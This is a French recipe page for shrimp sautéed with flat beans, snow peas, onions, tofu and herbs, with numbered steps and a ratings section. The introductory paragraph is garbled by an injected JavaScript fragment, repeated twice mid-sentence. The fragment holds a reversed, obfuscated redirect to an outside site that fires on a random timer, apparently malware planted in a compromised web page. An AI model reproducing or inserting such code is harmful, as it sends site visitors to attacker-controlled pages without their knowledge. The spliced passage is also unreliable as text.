Crevettes sautées aux légumes

2021-05-31

Détaillez le tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tofu en petits morceaux. Rincez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes. Pelez, émincez les oignons. Effilez les cocos plats et les pois gourmands. Versez de l’huile d’arachide olive dans une cocotte, déposez les crevettes et les légumes.

Ingrédients

  • Pour 4 personnes
  • 55 g de crevettes fraîches ou surgelées
  • 250 g de coco plat
  • 250 g de pois gourmands
  • 150 g de tofu
  • 2 oignons
  • 2 cuillères à soupe d'huile d’arachide
  • 1 petit bouquet de persil plat
  • Quelques feuilles de coriandre ciselées
  • Quelques feuilles de basilic ciselées
  • Gomasio (où, sel aux graines de sésame)
  • Quelques tours de moulin à poivre

Préparation de la recette

Etape 1

Détaillez le tofu en petits morceaux.

Etape 2

Rincez tous les légumes.

Etape 3

Pelez, émincez les oignons.

Etape 4

Effilez les cocos plats et les pois gourmands.

Etape 5

Versez de l'huile d'arachide olive dans une cocotte, déposez les crevettes et les légumes.

Etape 6

Salez légèrement, poivrez.

Etape 7

Faites cuire sur feu vif, en remuant pendant 10 minutes.

Etape 8

A ce moment ajoutez les herbes, le tofu.

Etape 9

Saupoudrez de Gomasio et dégustez

Catégories : Ingrédients principaux : , , , , , , , , ,
Note des membres

(0 / 5)

0 5 0
Notez cette recette

0 personne(s) ont noté cette recette

Related Recipes:
  • image de thon de fromage et d'un épis de maïs

    Cassolette de thon

  • image d'un homard et de pâtes

    Pâtes fraîches au homard

  • Pâtes aux coques

    Pâtes aux coques

  • Salade de spaghettis avec du saumon

    Salade de spaghettis avec du saumon

  • Rillettes de saumon à l’aneth

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *